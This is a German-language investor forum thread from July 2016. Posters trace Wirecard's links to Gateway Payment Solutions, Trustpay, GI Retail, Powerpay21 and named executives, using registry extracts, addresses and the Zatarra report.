      Gateway Payment Solutions Ltd., Köln (Kaltenbornweg 1-3, D-50679 Köln). Gesellschaftsvertrag vom 25.10.2005 company irischen Rechts by shares. Zweigniederlassung der Gateway Payment Solutions Ltd. mit Sitz in Dublin (Register of Companies in Dublin 409923). [...]Die Gesellschaft wird durch ihrer Directors vertreten. Director und ständiger Vertreter der Zweigniederlassung: Carbone, John, Toronto, Ontario/ Kanada, geb. 19??; Gonsalves, Jason, Dublin 4/ Irland, geb. 19??; Knöchelmann, Dietmar, Didderse, geb. 19??, jeweils einzelvertretungsberechtigt. Einzelprokura beschränkt auf die Zweigniederlassung: Buchholz, Ralf, Dormagen, geb. 19??.

      Das ist die "Wirecard Payment Solutions Ltd"

      Das ist die heutige
      Wirecard UK & Ireland Ltd
      e-Mail: solutions (at) wirecard.com
      Internet: www.wirecard.co.uk
      Company Registered in Ireland Number: 409923
      Directors: Alan White, Michelle Molloy, Jan Marsalek


      Buchholz schreibt aber "Gateway payment Solution[*]"

      und er schreibt "Wirecard Payment Solution", meint aber wohl "Wirecard Payment Solutions"

      Die "Wirecard payment Solution" (ohne s) kaufte laut Presseberichten die türkische "Mikro Odeme"
      https://www.owler.com/reports/mikro-odeme/was-acquired-by-wi… und auich Amara. Nur gibt es sie wahrscheinlich nicht.

      Tja, das sind halt die kleinen Flüchtigkeitsfehler...

      Die Wirecard Payment Solution gibt es übrigens (auch), laut google...
      Name Wirecard Payment Solution Limited
      Website www.wirecard.com
      Headquarters 150 Eglinton Ave E
      Toronto, ON M4P 1E8
      Canada map
      Phone +1.416.486.0907

      https://connect.data.com/company/view/nisHqsg5Xj0auTgE5-VKXw…

      Es gibt da so seltsame Fundstellen
      Susanne, Steidl, Managing Director, Wirecard Payment Solution Limited, Toronto,


      Tja, immer diese Flüchtigkeitsfehler... Das ist mal 'ne corporate governance, zum Zunge schnalzen!
      In Wahrheit heißt die Firma natürlich "Wirecard Payment Solutions Limited" und hat Domains registriert, z.B.
      elastic-payments.com oder elasticpayments.com

      exakt lautet die angegebene Adresse
      "150 Eglinton Ave E, Suite 307"

      und somit war meine Behauptung aus dem April zunächst irreführend
      Zitat von jigajig: http://www.manta.com/ic/mt61xc9/ca/wirecard-payment-solution…
      Wirecard Payment Solutions Limited
      150 Eglinton Ave E
      Toronto, ON M4P 1E8, Canada - View Map
      Phone: (416) 486-0907
      ...and employs a staff of approximately 1.

      Da hier alle Zatarra gelesen haben, wird die Adresse bekannt sein:
      Nexum Was a Gateway Company 250
      Nexum was provided by the Gateway companies. GPSL Nexum Financial shares the same
      address as John Carbone and the Gateway Group: 150 Eglinton Ave, Toronto


      Also ist natürlich Wirecard völlig im recht:
      Alles bei zatarra ist gelogen! Denn dass Ralf Buchholz und Knöchelmann und Carbone in Köln bei der Gateway auftauchen, heißt noch lange nicht, dass dies irgendetwas mit der kanadischen Wirecard Payment Solutions zu tun hat. Denn die sitzen eben im Briefkasten nebenan. Und die Carbone-Firma in Toronto heißt ja auch "Gateway Internet Solution" und nicht "Gateway payment Solutions"

      Wie zatarra auf die Idee kommt, die Firma "Gateway Internet Solutions" von John Carbone könne etwas mit der Wirecard zu tun haben, nur weil die Firma "Gateway Payment Solutions" in Köln das andeutet, die Ralf Buchholz ja gar nicht verkauft hat, ist merkwürdig.

      Ebenso merkwürdig wie diese weiteren Folgerungen:
      Schoonbaert is a long standing associate of Dietmar Knöchelmann and Rüdiger Trautmann.
      For example, he is an officer to the Cypriot company, Powercash21 Limited, alongside
      Knöchelmann and Trautmann.
      Schoonbaert was a director of the first two Irish Gateway Group companies that were
      established. As we have highlighted earlier in this note, Dietmar Knöchelmann and John
      Carbone, incorporated the two Gateway companies, one named Gateway Payment Solution
      Holdings Limited (company number 406942) and the second named Gateway Payment
      Solution Limited
      (company number 408602).


      Alles bedeutungslos, da ja die Suite 306 in Toronto nicht die Suite 307 ist.


      Bedeutungslos auch, dass dann bei einer der Fakefirmen ausgerechnet markus Pfeiffer auftaucht
      For example, in December 2007, a few months after the Gateway companies were sold to
      Wirecard, the ownership of Axxis (one of the fake merchant/descriptors used by Full Tilt
      Poker) changed hands. Markus Pfeiffer received 51% of the holding in Axxis, with the
      remaining 49% being held by Xpresscharge.


      Pfeiffer, wie ihr euch sicher erinnert, verbindet auch die Webtrade mit der wirecard.
      1 Antwort
      Avatar
      schrieb am 20.07.16 18:09:44
      Beitrag Nr. 145 ()
      Berkshire Trust Company Limited
      http://www.caribbeanlocalpages.com/listings/berkshire-trust-…
      Berkshire Trust Company Ltd. is situated in Providenciales. Contact address is at Caribbean Place Leeward Highway P.O. Box 657, Providenciales. For more details contact Berkshire Trust Company Ltd. on (1649) 9464324 or at Caribbean Place Leeward Highway P.O. Box 657, Providenciales.

      Berkshire Trust Company Ltd.
      Caribbean Place Leeward Highway P.O. Box 657, Providenciales
      Providenciales
      Turks and Caicos Islands
      Services:Business Services
      (1649) 9464324


      bietet seit mindestens 1999 auch Firmengründungen an, auch auf den BVI, von Canada aus

      Quelle




      Berkshire Trust Company Ltd.
      Gordon Williamson, President
      Tanya Handfield, Administrator
      PO.Box 657, Caribbean Place, Providenciales, Turks and Caicos Islands, B.W.I
      Telephone: (649) 946-4324 Fax: (649) 946-4354 E-mail: Berkshire.Trust@tciway.tc
      Web Address: http://www.berkshire.tc


      Nexumfinancial.com Website Information - Who.is
      https://who.is/website.../nexumfinancial.com/ - Diese Seite übersetzen
      Email. Email Masking Image @gatewayisi.com. Address. Caribbean Pl Leeward highway, Providenciales PO Box 657, TURKS AND CAICOS ISLANDS ...

      (Google)
      centralcoin.com (whois)
      Caribbean Pl
      Leeward highway, Providenciales PO Box 657 TURKS AND CAICOS ISLANDS
      Contact
      Gateway Financial Services Ltd., Domain Manager
      +1 416 486 0907, Fax: +1 416 486 4760


      = Wirecard Payment Solutions Limited
      http://www.phonenumtracker.com/canada/14164860907/

      Die Adresse der Wirecard in Köln wird übrigens von einer Rechtsanwaltskanzlei verwendet, die die Panamapapers für illegal hält. Ein virtueller Kübel Jauche dafür nach Köln.

      Wirecard Payment Solutions gibt es seit mindestens Mai 2008 mit Werbung für click2pay "the way to pay"

      Click2Pay - the way to pay
      aber die begeitserung hielt sich in Grenzen
      http://forumserver.twoplustwo.com/28/internet-poker/click2pa…

      Lesenswert dieser Nachruf auf Click2Pay
      Click2pay was an unusual one. Many Canadians (including myself) created an account there when neteller left Canada in I believe 2006 or 2008, and Click2pay at the time was a relatively small German company who for some reason was accepted by many of the sites in the bonus whoring era.

      Canadians had to have accounts in Canadian funds, but click2pay charged no exchange fees, which was obviously great for customers, though I am not sure was the best business choice for them.

      I have not used it for years, but when I did post neteller and before Skrill I, along with each of the members of my casino whoring team, were doing well over a hundred transactions each month with them per person. I am not surprised they eventually folded, but I still have a place in my heart for them. I may have a buck in there still, but they are free to enjoy it.
      Avatar
      schrieb am 21.07.16 22:26:37
      Beitrag Nr. 146 ()
      Man kann oft die Diskussionen nur noch erahnen, weil die Firma so viele Beschwerden hatte. Komisch, dass es hier noch keine Beschwerden gab - aber die werden noch kommen. Auch hier kann es sein, dass der Thread irgendwann anders aussieht als heute.
      Hier mal ein posting, das TRUSTPAY zum Thema hat. Der Beitrag davor wurde wegen "Provokation" gelöscht, der Beitrag danach wegen beschwerde.
      Zitat von proShare: Laut Analysten war Trustpay ein Übernahmevehikel über das ein irischer und ein österreichischer Konkurrent von Wirecard übernommen wurden. Ich bin mir sicher, dass die irische Firma früher nicht den jetzigen Namen trug, sondern erst danach umbenannt wurde. Das ist ja durchaus auch bei anderen Firmen nach Übernahmen gängige Praxis, dass sie den Übernommenen die eigene Marke geben.

      Es geht um einen Kauf der Trustpay, in die die beiden Firmen quenta und wirecard ireland zusammengefasst wurden.
      Knöchelmann und Buchholz kennen sich schon sehr lange. 2005 --> Löwenor
      Früher stand auf der Seite von Ralf Buchholz
      2000 –2008
      Geschäftsführender Gesellschafter der Gesellschaft für Onlinesysteme mbH, später Wirecard Payment Solution[*] Ltd, Dublin, Köln und Toronto
      Verantwortung für den gesamten operativen Bereich der Gesellschaft mit 64 Mitarbeitern und einem Jahresumsatz ca. 1,8 Mrd Euro.
      Verkauf des Unternehmens am 31.12.2008 an die Wirecard AG, Grasbrunn.

      Im Oktober 2008 kaufte man Trustpay. Ein Teil davon war die "irische Konkurrenzfirma"
      "Wirecard Payment Solutions Holdings Ltd., Wirecard Payment Solutions Ltd., Herview Ltd., allesamt ansässig in Dublin (Irland)"
      Laut Buchholz wurde diese am 31.12.2008 verkauft, was ja wohl nicht stimmen kann.
      Das wurde korrigiert (?)
      Geschäftsführender Gesellschafter der Gesellschaft für Onlinesysteme mbH, später Gateway Payment Solution[*] Ltd, Dublin, Köln und Toronto
      Verantwortung für den gesamten operativen Bereich der Gesellschaft mit 64 Mitarbeitern.
      Verkauf des Unternehmens am 31.10.2007 an die Wirecard AG, Aschheim/Dornach.


      Die beiden daten machen Sinn, den auf der Hauptversammlung im Juni 2008 (ja, das war die legendäre Hauptversammlung) hieß es:
      Übernahme eines europäischen Händlerportfolios
      ƒ Über die TrustPay AG (Übernahmevehikel): Zwei Payment Service Provider (PSP) mit
      Sitz in Irland und Österreich
      ƒ Insgesamt 66 Mitarbeiter
      ƒ Kaufpreis von 43 Mio. EUR vorrangig in bar und teilweise durch eine Kapitalerhöhung
      ƒ Zwei Kaufpreiszahlungen, mit Abschluss der Übernahme im Oktober 2007 sowie am
      31. Oktober 2008

      Zwei Daten, zwei Namen der Firma, im April 2016 eine Korrektur. Warum?
      2009 im Einzelabschluß steht ein jahresergebnis von ungefähr 15,5Mio für Trustpay. Davon entfallen auf die beiden neben der irischen Firma genannten österreichischen Firmen keine 0,3 Mio. Unterzeichnet: Rüdiger Trautmann.
      4.5 Feststellung des Jahresabschlusses und Ergebnisverwendungsvor-schlag
      Der Jahresabschluss wird gemäß § 172 AktG von Aufsichtsrat und Vorstand
      festgestellt. Der Jahresüberschuss wird auf neue Rechnung vorgetragen.
      Grasbrunn, 19. Mai 2010
      Rüdiger Trautmann
      Vorstand

      Übrigens kann man heute unter trustpay.biz lesen, dass man bei Burger King in der Türkei...
      http://www.trustpay.biz/wirecard-integrates-payments-into-on…

      Der Trustpaydeal ist ein wichtiger Punkt. Nach wie vor.
      "Die 40 M€ wurden für ein ganzes Konglomerat von Firmen in Österreich und Irland gezahlt. Die wurden anscheinend erst unter der neuen Holding "Trustpay AG" gebündelt und dann an Wirecard weiterveräußert. "

      Aber was? und wann? und von wem?
      http://ir.wirecard.de/websites/wc/German/3150/finanznachrich…
      Im Oktober hatte man erklärt, sich "verpflichtet zu haben", das Portfolio zu kaufen. Gemeldet wurde der Deal dann als abgeschlossen im Januar, inkl. weiterer details
      http://juve.de/nachrichten/deals/2008/01/trustplay-gehoert-j…


      ---
      ---
      Heute kann man Trustpay googlen und findet z.B. das hier
      http://de.playmillion.com/zahlungen/ueberweisungen/trustpay/
      Der Anbieter ist Trust Pay in der Slowakei
      https://www.trustpay.eu/about-us/contact/
      kein Bezug zur wirecard erkennbar

      dann gibt es noch eine Trustpay in Vietnam
      https://www.linkedin.com/company/trustpay-jsc
      TRUSTpay is in partnership with major partners like Sacombank, Eximbank, Vietinbank, CyberSource, VNG, Banknetvn, Ibox, MK Group, Wirecard… • Sacombank -Card issuing partner. • Eximbank - Card issuing partner. • Vietinbank -Payment processing supplier. • VNG - Payment gateway service. • Banknetvn -Payment processing supplier. • CyberSource - Payment processing supplier. • MK Group -Card printing system supplier. • Ibox - m-POS devices supplier. • Wirecard - Card issuing system supplier.
      Avatar
      schrieb am 23.07.16 17:47:30
      Beitrag Nr. 147 ()
      nochmal schreiben

      Zitat von jigajig:
      Der Handelsregisterauszug weist nur Markus Braun als Gesellschafter aus, in welcher Form sind denn die Investoren da beteiligt?

      Kann nicht jemand einen Gesellschafterauszug besorgen? Traurig, dass Deutschland in Sachen Registerveröffentlichungen so hinter dem Mond ist...

      Fassen wir zusammen, was bekannt ist:
      - die alte Webseite der MB Beteiligungs GmbH ist registriert auf Sylvia Braun, die am 7.12.2005 im Rahmen einer Mitarbeiteroption 10.000 Aktien zum Kurs von 1,82€ bezogen hat.

      - mindestens 2007 war sie noch Mitarbeiterin bei der Wirecard (siehe zB. IBI-Studie, bei der Teilnehmer mit Preisen belohnt wurden, die wirecard gestellt hat)

      - Eine Verwandtschaft zu Markus Braun darf als "wahrscheinlich" angenommen werden. Dass es sich bei Sylvia Braun um die Internetermittlerin der hessischen Polizei handelt, ist eher unwahrscheinlich.

      - bei der Verleihung des "Smart Digital Award 2014" (Bayrisches Staatsministerium für Wirtschaft) durch Ilse Aigner dürfte die "Marketingleiterin" Sylvia Braun, die in der Jury saß, dabei gewesen sein und also noch Mitarbeiterin gewesen sein. Welche Beziehung zwischen dem Bayrischen Staatsministerium und der Wirecard besteht, ist meinerseits nicht bekannt.
      Quelle: http://www.blog.it2industry.de/2014/10/30/smart-digital-awar…

      - Die MB Beteiligungs GmbH erhielt mindestens 1x einen Kredit der Wirecard AG in Höhe von mehreren Hunderttausend Euro (siehe Geschäftsberichte) (die genaue Quelle habe ich auf die Schnelle nicht gefunden, es steht aber bereits irgendwo hier)

      - Markus Braun kaufte im Juli 2008

      - Ley hat seine billig erworbenen Aktien mit hohen Gewinnen verkauft

      - Markus Braun bezeichnet sich als "überzeugter langfristiger Anleger", hat aber seit 2012 sehr viele Aktien verkauft

      - Bei der Erstellung des Aktienprospektes 2005 (21.10.2005) wurde angegeben, dass die EBS Holding AG und die MB Beteiligungs GmbH zusammen 42,1 Mio der Aktien hielten (insgesamt 80%) (MB 2,3 Mio?). Es bestehen gewisse Unklarheiten zu den genauen Aktionärsverhältnissen damals (siehe unten). Bitte im Aktienprospekt S. 35ff beachten sowie S. 95ff, S. 180ff, S. 323). Gleichwohl war zu diesem Zeitpunkt bereits beschlossen, die ebs Holding AG in die ebs Holding GmbH umzuwandeln und die ebs Holding AG zu löschen. Frage: haftete damals quasi nur die GmbH für fast alle Aktien??????

      - Die ebs Holding GmbH (HRB 159522) entstand durch Formumwandlung der 1999 gegründeten "EBS Holding AG" (HRB 122026) , die wenige Tage nach Veröffentlichung des Aktienprospektes gelöscht wurde (was offenbar bereits zuvor entschieden war)

      Handelsregister Löschungen vom 10.11.2005
      ebs Holding AG, Grasbrunn, Landkreis München (Am Bretonischen Ring 4, 85630 Grasbrunn). Die Hauptversammlung vom 22.09.2005 hat die Herabsetzung des Grundkapitals um 4.648.655,00 EUR auf 84.521,00 EUR und die Änderung des § Ziff. 5 (Grundkapital) der Satzung beschlossen. Die Hauptversammlung vom 22.09.2005 hat die Erhöhung des Grundkapitals um 9,00 EUR auf 84.530,00 EUR und die Änderung des § Ziff. 5 (Grundkapital) der Satzung beschlossen. Die Kapitalerhöhung ist durchgeführt. Die Hauptversammlung vom 22.09.2005 hat die formwechselnde Umwandlung der Gesellschaft in die "ebs Holding GmbH" mit dem Sitz in Grasbrunn (Amtsgericht München HRB 159522) beschlossen. Die Umwandlung wurde in das übernehmende Register am 10.11.2005 eingetragen.

      Fakt ist: Die Besitzverhältnisse, die im Aktienprospekt veröffentlicht wurden, waren nicht "wirklich" korrekt, sondern nur "formal" richtig.

      siehe auch
      ...

      s.a. Thread "Wirecard - Wer zuerst kommt...."
      Datum Name Insider Stellung Art Anzahl Kurs Volumen Erläuterung
      01.11.2006 Tanja Rehnig S V 150.000 6,37 956.020
      30.10.2006 Tanja Rehnig S V 100.000 6,25 625.000
      27.09.2006 Tanja Rehnig S V 250.000 5,35 1.337.500
      01.09.2006 Tanja Rehnig S V 250.000 5,00 1.250.000
      06.03.2006 Klaus Rehnig AR V SBE 2.045.579 0,00 0 ISIN DE000A0E96B8 - Bestandserhöhung durch Anteilstausch
      26.01.2006 Tanja Rehnig S SBE 2.518.865 0,00 0 ISIN DE000A0E96B8 - Bestandserhöhung durch Anteilstausch
      04.01.2006 MB Beteiligungsgesellschaft mbH J SBE 2.490.001 0,00 0 Bestandserhöhung durch Anteilstausch
      07.12.2005 Sylvia Braun S K 10.000 1,82 18.150 Ausübung Mitarbeiteroptionen
      05.12.2005 Paul Bauer-Schlichtegroll AR K 37.500 1,80 67.500 Ausübung Mitarbeiteroptionen
      05.09.2005 MB Beteiligungsgesellschaft mbH J K 2.301.796 1,80 4.143.233 Die MB Beteiligungsgesellschaft mbH steht in enger Beziehung zum Vorstand Markus Braun
      22.03.2002 Lynex Owens V V K 50.000 0,76 37.750
      22.03.2002 Martin Aschoff AR K 30.000 0,76 22.650
      08.01.2002 Wolfgang Janka AR V K 50.000 0,77 38.500
      18.12.2001 Lynex Owens V SV K 70.000 0,73 51.100
      18.12.2001 Ralf Stark AR K 60.000 0,73 43.800
      31.08.2001 Markus Semm V SBM 600.000 1,05 630.000 Kredittilgung


      Dieser Thread wurde com user "compus" gestartet.
      http://www.wallstreet-online.de/userinfo/34712-compus

      Dieser Thread ist lesenswert!

      Hab ich was vergessen?
      Avatar
      schrieb am 24.07.16 12:37:04
      Beitrag Nr. 148 ()
      /// in diesem Zusammenhang weise ich, auch zum besseren verständnis der Anmerkungen im brandeins-Artikel, darauf hin, dass einige hier manchmal die "beiden" Usmans verwechseln! Der im September 2015 von der indischen SEBI erwähnte Direktor der Popular Agro, das ist "Mr. Usman Pasha Usman Fayaz" mit der ID DIN:00890257, der dort bis 27.11.2014 registriert war (laut SEBI). Der andere Usman ist Usman Faheed Fayaz, der mit den Ramasamy-Brüdern in der ICIJ-Datenbank auftaucht. Der dürfte identisch sein mit FAYAZ USMAN FAHEED (DIN:00252610)

      Welchen "Usman Fayaz" die Wirecard meint, bleibt offen. Wahrscheinlich den Vater.
      Usman Faheed (252610) ist der Sohn von Usman Fayaz (manchmal Fayaz Usman) (890257).

      Wer sich mit Bildern leichter tut: Bei der "UF Group" sind beide zu finden
      http://www.biryanicorner.in/about-us/

      Hier noch einmal die Antwort Wirecards:
      [1]Herr Usman Fayaz war zum Zeitpunkt des Erwerbs des Zahlungsabwicklers GI Retail Group weder direkt oder indirekt Aktionär bei einer der Unternehmen.
      [2]Weder GI Technologies noch Hermes waren jemals in irgendeiner Form von Lotterie- oder Glücksspielgeschäften tätig.
      [3]GI Technologies ist der führende inländische Finanztransfer-Dienstleister, der von der Reserve
      Bank of India (RBI) reguliert wird. Das Unternehmen wird regelmäßig von der
      Aufsichtsbehörde geprüft und wendet rigorose KYC- und Compliance-Verfahren bei seinen
      Überweisungen an.
      [4]Der genannte Unternehmensbetrug bezieht sich auf das Unternehmen Popular Agro Farms Pvt Ltd, das überhaupt nichts mit Wirecard oder GI Retail zu tun hat.


      Zatarra sagte dazu
      The founder and likely underlying selling shareholder of GI Retail, Usman
      Fayaz, has recently been censured by the Securities Exchange Board of India
      for fraud
      (gemeint ist der Vater)
      The current GI Retail website indicates that Ramu and Palaniyapan Ramasamy are GI Retail’s founders. Although earlier evidence makes no mention of the Ramasamys, suggesting the driving force was Usman Fayaz
      (gemeint ist der Vater)
      Zatarra weist ausdrücklich auf die Verwechslungsfehar hin
      Note that his son has a similar name Fayaz Usman

      Zatarra verlinkt sogar noch das entsprechende Profil des Sohnes
      http://www.bloomberg.com/research/stocks/people/person.asp?p…
      Da Vater und Sohn teilweise gemeinsam bei Firmen auftauchen, teilweise hintereinander und teilweise nach Register gar nicht, wohl aber nach außen, macht die Verwirrung komplett.

      Diese Verwirrungen haben weitreichende Folgen, wenn man beispielsweise - ausgehend von Zatarra - weitere eigene Recherchen anstellt und dann bei einer Buchprüfungsfirma landet:
      The Net worth of Acquirer as on April 30, 2015 is ` 1052.11 Lacs and the same is certified by Mr. V. P. Kuriachan, Partner, Kuriachan & Nova, Chartered Accountants (Membership No. 025662; FRN: 006064S) having office at Flat No. 3, R-42, Lod No. R-17, 6th Main Road, Anna nagar, Chennai- 600040, India; Email id: kuriachannova@eth.net, vide certificate dated May 20, 2015
      , die hier den Wert einer Firma bestätigt, bei der Vater und Sohn auftauchen. Deren mail führt dann wiederum zu den beiden Brüdern bei der GI retail:
      https://www.zaubacorp.com/company/ARM-I-SOLUTIONS-PRIVATE-LI… - im Zusammenhang mit der ARM-I-Solution.

      Also bitte, wem soll ein reifer Marktteilnehmer hier glauben?
      Zatarra, die ihre Belege fein säuberlichst präsentieren, ausreichend mit Links hinterlegt, die eine Überprüfung für jeden ermöglichen, der halbwegs Google bedienen kann - oder der Wirecard, die halbgare statements veröffentlicht, die mehr verwirren als klären?

      Es gibt zahllose Hinweise, die auf eine Beteiligung der beiden Usmans hindeuten bis kurz vor dem Deal, der seit 2012 vorbereitet wurde. Die kann man alle googlen und man braucht dazu nicht die Anwaltskanzleien, die seitens der Wirecard die DD gemacht haben. Trotzdem bestreitet wirecard das mit sorgsamst überlegten Formulierungen ("zum Zeitpunkt des Kaufs").

      Ich muß es so drastisch sagen: Wer angesichts dieser Sachlage immer noch glaubt, Wirecard habe alles widerlegt, ist nach meiner Auffassung alles andere als ein reifer Marktteilnehmer.

      Es wird Zeit, dass diejenigen, die das bisher getan haben, sich einen Weg überlegen, wie sie da wieder rauskommen. Einige meiner postings zu lesen und dann zu sagen "Hmm, hoppla, das könnte ja sogar stimmen" wäre ein möglicher Weg.
      Avatar
      schrieb am 27.07.16 21:35:09
      Beitrag Nr. 149 ()
      e-bundesanzeiger @ inatec solutions
      Frankfurt, den 29.11.2010
      Die Geschäftsführer:
      Dietmar Kuhl
      Ayizik Fruchtlander


      Jahresabschluß 2008/2009
      München, den 30. Juli 2010
      Dietmar Kuhl
      Ayizik Fruchtlander

      München. Aha.

      2006/2007
      Frankfurt, im April 2009
      Karl Fiederling
      Geschäftsführer


      Geschäftsführer(in):
      Dietmar Kuhl und Ayizik Fruchtlander
      Die Geschäftsführer(in) sind beide einzelvertretungsberechtigt und von den Beschränkungen des § 181 BGB befreit.
      München, den 06. Juli 2010


      Dietmar Kuhl:
      besuchte 2008 die Eurowebtainment für die Webtrade GmbH

      Zatarra:
      Dietmar Kuhl, formerly Trautmann’s employee at Pago eTransaction Services, also at Wirecard, became Managing Director at Inatec in 2007.

      Eine Lüge?
      Im Bundesanzeiger?

      Laut seinem LinkedIn-Profil
      International Sales
      Wirecard AG
      Juli 2005 – September 2007 (2 Jahre 3 Monate)
      Key Account Management
      International Client Management

      Eine Lüge?

      Im Laufe des jahres werden wir uns womöglich auch noch hierüber unterhalten
      Head of Customer Care and Direct Sales
      TelDaFax AG
      April 1998 – Dezember 1999 (1 Jahr 9 Monate)
      Key Account Support / Relationship Management
      Customer Service
      1st Level Support
      2nd Level Support


      Rüdiger Trautmann war auch mal GF dort, auch Helge Kiessler, der GF der Retiarius, als diese in Israel mit ICC-CAL VISA austrickste. Er wird namentlich erwähnt (allerdings als Helga)

      Und Karl Fiederling?

      Der gehört quasi zur "DNA" der (Zitat Spiegel) "illustren Gruppe", die eben nicht nur irgendwann in der Vergangenheit tätig war, sondern viel länger.

      https://www.moneyhouse.de/Karl-Fiederling
      Warum druckst die Wirecard hier so herum und warum fragt sich keiner, wo das problem wäre, so etwas einfach zuzugeben?
      Hat das womöglich doch mit Israel zu tun und dem Privatvergnügen einiger Herren von der wirecard?
      https://de.linkedin.com/in/ayeletfruchtlander
      https://www.moneyhouse.de/Ayelet-Ayizik
      Avatar
      schrieb am 29.07.16 16:42:12
      Beitrag Nr. 150 ()
      Wirecard setzt ja keine Steueroptimierung ein, sondern der Gesamtsteuersatz ergibt sich durch die Diversikfikation des Transaktionsvolumens.
      Folgt man dieser Aussage von Burkhard Ley, ist Dubai ein wesentlicher Standort für die wirecard.

      Deshalb könnte diese Meldung interessant sein:
      http://www.miurasystems.com/latest/miura-systems-helps-to-br…
      Das ist Miura:
      Miura Systems is the global leading provider of innovative secure electronic payment hardware to the mPOS solution marketplace. Miura partners with Independent Software Vendors and Systems Integrators to deliver platforms, expertise and services to enable retailers and acquirers to provide rich and flexible payment solutions for retail, hospitality, financial and transportation markets globally. For more information please visit: www.Miurasystems.com

      In Dubai hat man nun Allianzen geschlossen, die laut Pressemeldung die Unterstützung der dortigen Regierung haben:
      London, 10th June 2016 - Mobile payments leader Miura Systems has scored another win after helping to bring mPOS to the Middle East for the first time in a new solution designed for merchants of all sizes operating in the UAE.
      The new mPOS offering will combine the Miura M006 or M010 card machines with a mobile application from innovative Dubai-based payments start-up Swiftch and end-to-end encryption functionality from digital security specialist Thales.

      Von Thales stammt die Technology "payshield" (die meines Wissens nichts mit der gleichnamigen Entwicklung der wirecard zu tun hat)
      swiftch wiederum kooperiert in Quatar mit der QNB, der dort führenden Bank. Hinter dem startup steht u.a. Aditya Anand, ehemals RAKBank.

      swiftch taucht übrigens auch in dieser Liste von mpos-Technikpartnern bei VISA auf:
      https://technologypartner.visa.com/mpos/visareadysolutions/
      eine sehr interessante Suchmaschine.

      Swiftch - Mathema Technology LLC
      Office 311, B-62, Air India Building, Al Maktoum Road, Deira, Dubai - UAE
      www.swiftch.com
      Solution Miura Shuttle/ M006
      Hardware Miura M006-PRODxx-V1-X, M006-PORDxx-v2-X
      Firmware M000-OS-V5-X, M0006-OS-V6-X
      Mobile Support Android, iOS, Blackberry
      Approval Types EMV Chip & Pin, Mobile Client App, MSR
      Expiration Date 03/24/2017
      Regions Asia Pacific (includes Australia / NZ), North America
      Countries India, United States

      Zurück zur Miura: Diese kooperiert in Nordamerika mit POSDATA (Control Solutions Inc/Compsee) und mit POSPORTAL (einer Firma, die ich noch nicht genau recherchiert habe)

      Eine weitere Allianz schmiedete Miura im Mai mit Powerpay21
      http://www.miurasystems.com/latest/miura-systems-teams-up-wi…

      “We are happy to announce that our mPOS21 solution is live”, said Dietmar Knoechelmann, CEO of Powercash21, an acquiring bank that is part of the Powerpay21 group. “Offering merchants, whether in Direct Selling or Ecommerce, a mobile solution to accepting card payments allows us to cater to the needs of modern as well as traditional sales sectors.”


      Knöchelmann ist ein langjähriger Experte im Bereich Payment, wie Wirecardaktionäre und israelische Staatsanwälte wissen.

      “We’re delighted to partner with Powerpay21; the company has put in a tremendous amount of effort to get to this point and we look forward to helping it drive a return on this investment through sales of our industry leading mPOS devices,” said Katrina Beckwith, Sales Director for EMEA at Miura Systems. “Powerpay21’s customer base is an ideal fit for Miura and we can’t wait to bring the power of mPOS to a whole new market of German businesses.


      Hinter powerpay21 verbarg sich einst die gelöschte "Inatec GmbH" in Leipzig
      http://b2binform.org/de/13912872, mit der die Wirecard keine Geschäftsbeziehung hat (Stand März 2016)

      Laut einer Infoseite ist die Adresse dieses Miura-Partners in Frankfurt

      COMPANY ADDRESS
      Frankfurt Office, Hanauer Landstrasse 182, BLD C, Flr 3
      60314 Frankfurt am Main
      Hessen
      Germany
      Main Phone Number +49 69 943 409 139
      Main Fax Number +49 69 943 409 199
      Email info@powerpay21.com

      die deutsche Domain powercash21.de betreut ein gewisser Rüdiger Trautmann
      Rüdiger Trautmann
      Inatec Solutions GmbH
      Hanauer Landstrasse 161-173
      60314 Frankfurt


      Markeninhaber von powerpay21 ist die irische Firma "Powerpay E-Com Limited"
      https://tmdb.eu/de/by/eigentuemer/729938/powerpay-e-com-limi…
      Ulysses House, Foley Street,1 Dublin, IE
      3rd floor, gegründet 8/2015, director: Rüdiger Trautmann, cs: gransec

      Wie man sieht: Überall gibt es Konkurrenten, die sehr aktiv sind. Gerade an den wichtigen Standorten Irland, Dubai und Nordamerika.
      Avatar
      schrieb am 29.07.16 18:36:32
      Beitrag Nr. 151 ()
      Zitat von StockWizard34: Kann mir einer kurz erklären was es mit den Indien Geschäften von Wirecard auf sich hat?

      2015 hat Wirecard die größte Akquisition seiner Geschichte bekannt gegeben:
      https://www.wirecard.de/newsroom/pressemeldungen/newsdetail/…
      Die Wirecard AG gab heute die Akquisition des Payment-Geschäfts der Great Indian (GI) Retail Group bekannt. Gegründet 2006, ist GI Retail Group eine der führenden Unternehmensgruppen in Indien und Südostasien im Bereich elektronischer Zahlungs- und retail-gestützter E-Commerce-Lösungen.
      Wirecard übernimmt von GI Retail und Finanzinvestoren 100 Prozent der Anteile der verbundenen Unternehmen, die Zahlungsdienstleistungen in Indien, den Philippinen, Indonesien und Malaysia unter den Marken „iCASHCARD“ „Smartshop“, „StarGlobal“ und „Commerce Payment“ sowie unter weiteren Segment-Marken anbieten. Zudem wird Wirecard zu 60 Prozent Anteilseigner an der GI Technology Private Limited (GIT), einem lizensierten Herausgeber von Prepaid-Zahlungsinstrumenten (PPI) in Indien.

      Diese Investition wurde als großer Schritt für die Firma bezeichnet, die schon seit ungefähr 2007 in Asien aktiv ist und die ursprünglich bereits - über eine ihrer Vorgängerfirmen, die "Wire Card AG" - seit 2000 in Asien Partnerschaften eingegangen war.
      Markus Braun sprach davon, die GIRG zähle "zu Indiens Pionieren im jungen und sich dynamisch entwickelnden E-Commerce und Money Remittance-Geschäft" und die Investition sichere Wirecard "eine starke Position in einem der weltweit am schnellsten wachsenden Märkte für elektronische Zahlungen.“

      Gekauft wurde nach Angaben der Wirecard von "GI Retail sowie Finanzinvestoren", diese wurden meines Wissens niemals näher spezifiziert.

      Zu den Prognosen:
      Der konsolidierte Umsatz des erworbenen Payment-Geschäfts soll nach aktuellem Verlauf des Geschäftsjahres im Kalenderjahr 2015 EUR 45 Millionen überschreiten, ... Der operative Gewinn vor Zinsen und Steuern (EBITDA) soll sich im gleichen Zeitraum auf über EUR 7 Millionen verdoppeln. Für das Kalenderjahr 2016 wird ein Umsatz von über EUR 75 Millionen erwartet. Unter Einberechnung der Integrationskosten wird ein EBITDA in Höhe von EUR 15 Millionen bis EUR 18 Millionen erwartet.


